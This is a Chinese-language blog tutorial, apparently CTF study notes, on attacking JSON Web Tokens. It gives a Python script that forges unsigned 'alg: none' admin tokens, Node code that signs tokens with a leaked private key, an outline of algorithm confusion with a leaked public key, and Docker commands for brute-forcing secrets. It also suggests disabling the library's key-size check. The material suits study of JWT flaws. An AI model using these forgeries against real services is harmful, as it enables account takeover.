JWT (JSON Web Token)

🎼个人主页:金灰

😎作者简介:一名简单的大一学生;易编橙·终身成长社群的嘉宾.✨

专注网络空间安全服务,期待与您的交流分享~

感谢您的点赞、关注、评论、收藏、是对我最大的认可和支持!❤️

🍊易编橙·终身成长社群🍊 : http://t.csdnimg.cn/iSLaP 期待您的加入~

免责声明:本文仅做技术交流与分享...

目录

JWT介绍

漏洞点:

当不校验算法时-->替换算法/使用空的算法,达到数据篡改目的

1 私钥泄露

2 公钥泄露

 

 总结加密方式:

总结jwt攻击:

 

JWT脚本.py:

JWT 爆破工具地址

调试报错


JWT介绍

JWT:
jwt是一个轻量级的认证规范 --对数据进行签名用的.
cookie放到客户端 可以随便改,
--防止数据被篡改

1 对数据进行加密   内容对用户敏感,不需要对外
2 对数据进行签名   内容不敏感,但是确保不被篡改

JWT是对数据进行签名,防止数据篡改,而不是防止数据被读取 (看到,不能改)

JSON Web Token (JWT)

?username=admin&score=100      #别人传递过程中,会对积分进行篡改 
?username=admin&score=100&token=c17961f5f372f8cf039113909d715943
? md5(score=100&username=admin)=c17961f5f372f8cf039113909d715943
?score=100&username=admin&token=c17961f5f372f8cf039113909d715943

篡改数据的同时,破解了算法,篡改了签名

加盐机制,salt --->
md5(score=100&username=admin_ctfshow)=20f3fa445b286df3f1a518fcbcd8bbe2

盐值有可能被爆破,也有可能被泄露

增加更高的密码算法,不再简单的md5,盐值也大幅度提高长度,达到几百上千位 来保证我们的数据不被篡改  或者即使篡改了我们能发现.

 

漏洞点:

当不校验算法时-->替换算法/使用空的算法,达到数据篡改目的

不校验 headers
{
    "alg" : "None",   //算法 空
    "typ" : "jwt"
}
{
    "user" : "Admin"
}


{"alg":"None","typ":"JWT"}
{"iss":"admin","iat":1673703091,"exp":1673710291,"nbf":1673703091,"sub":"admin","jti":"21a3d6eec9efbc030983fbc3650c0f03"}

ewogICAgImFsZyIgOiAiTm9uZSIsCiAgICAidHlwIiA6ICJqd3QiCn0=.ewogICAgInVzZXIiIDogImFkbWluIgp9

1 私钥泄露

通过泄露的私钥,本地生成一个新的JWT验证字符串,绕过
1 私钥泄露
可以根据私钥生成任意的jwt字符串

const jwt = require('jsonwebtoken');
const fs = require('fs');
var privateKey = fs.readFileSync('private.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'RS256' });
console.log(token)

验签

2 公钥泄露

 

可以根据公钥,修改算法从非对称算法 到 对称密钥算法  
双方都使用公钥验签,顺利篡改数据
当公钥可以拿到时,如果使用对称密码,则对面使用相同的公钥进行解密
实现验签通过

3密码弱可以爆破


 

 总结加密方式:

1 非对称加密算法  私钥  公钥   (成对出现)只要两个是匹配的, 一个私钥加密的文件,用公钥都能解开(验签)
2 对称加密算法   暗号 口令  公钥 

总结jwt攻击:

1 空密码算法绕过 不验证算法的前提下
2 弱密码绕过   猜测弱密码
3 密码爆破   安装docker 执行jwtcracker
4 私钥泄露  直接利用私钥生成正确jwt字符串 过验签
5 公钥泄露  不验证算法前提下,修改算法为对称加密,通过公钥重新生成对称签名的字符串 实现验签通过

 


JWT脚本.py:

import time
import jwt
# payload
token_dict = {
  "iss": "admin",
  "iat": 1610432484,
  "exp": 1610439684,
  "nbf": 1610432484,
  "sub": "admin",
  "jti": "efec0205f601a537847ee2dd3ffa81ff"
}

# headers
headers = {
  "alg": "none",
  "typ": "JWT"
}
jwt_token = jwt.encode(token_dict,  # payload, 有效载体 
					 key='',
                       headers=headers,  # json web token 数据结构包含两部分, payload(有效载体), headers(标头)
 					   algorithm="none",  # 指明签名算法方式, 默认也是HS256
                       ).decode('ascii')  # python3 编码后得到 bytes, 再进行解码(指明解码的格式), 得到一个str

print(jwt_token)

JWT 爆破工具地址

GitHub - brendan-rius/c-jwt-cracker: JWT brute force cracker written in C

基于docker  

docker build . -t jwtcrack
docker run -it --rm  jwtcrack 
要爆破的签名:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE

node安装jwt命令:  npm install jsonwebtoken  #安装完成之后会生成目录(依赖)
--save  //表示全局安装
jsonwebtoken版本问题


调试报错

版本15后,最小密钥2048
node_moudle/jsonwebtoken/sign.js
--将报错的地方注释掉. (不建议做法)
-->成功生成
 


  • 5
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
好的,下面是一个简单的基于 JSON Web TokenJWT)的身份验证案例: 1. 安装所需的库 ``` pip install pyjwt ``` 2. 生成JWT Token ```python import jwt import datetime # 定义过期时间 expire_time = datetime.datetime.utcnow() + datetime.timedelta(minutes=30) # 定义payload payload = { 'user_id': '123456', 'username': 'john', 'exp': expire_time } # 生成token jwt_token = jwt.encode(payload, 'secret_key', algorithm='HS256') print(jwt_token) ``` 上述代码中,我们使用了 pyjwt 库来生成 JWT Token。它的 encode() 方法接收三个参数:payload、密钥和算法。payload 是一个字典,包含我们想要在 Token 中存储的信息,例如用户ID、用户名、过期时间等等。密钥是一个字符串,用于加密 Token。算法是指用于加密 Token 的算法,这里我们选择了 HS256。 3. 验证JWT Token ```python import jwt # 定义Token jwt_token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoiMTIzNDU2IiwidXNlcm5hbWUiOiJqb2huIiwiZXhwIjoxNjMxMzEwMDUzfQ.XsDEjcd7jH8qC-6pZlWjZaFvDz-pT8NvQYrWb8I3-5c' # 验证Token try: decoded_token = jwt.decode(jwt_token, 'secret_key', algorithms=['HS256']) print(decoded_token) except jwt.ExpiredSignatureError: print('Token已过期') except jwt.InvalidTokenError: print('无效的Token') ``` 上述代码中,我们使用了 pyjwt 库的 decode() 方法来验证 Token。它接收三个参数:Token、密钥和算法。如果 Token 有效,则返回包含信息的字典。如果 Token 过期或无效,则会引发 jwt.ExpiredSignatureError 或 jwt.InvalidTokenError 异常。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

金灰

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值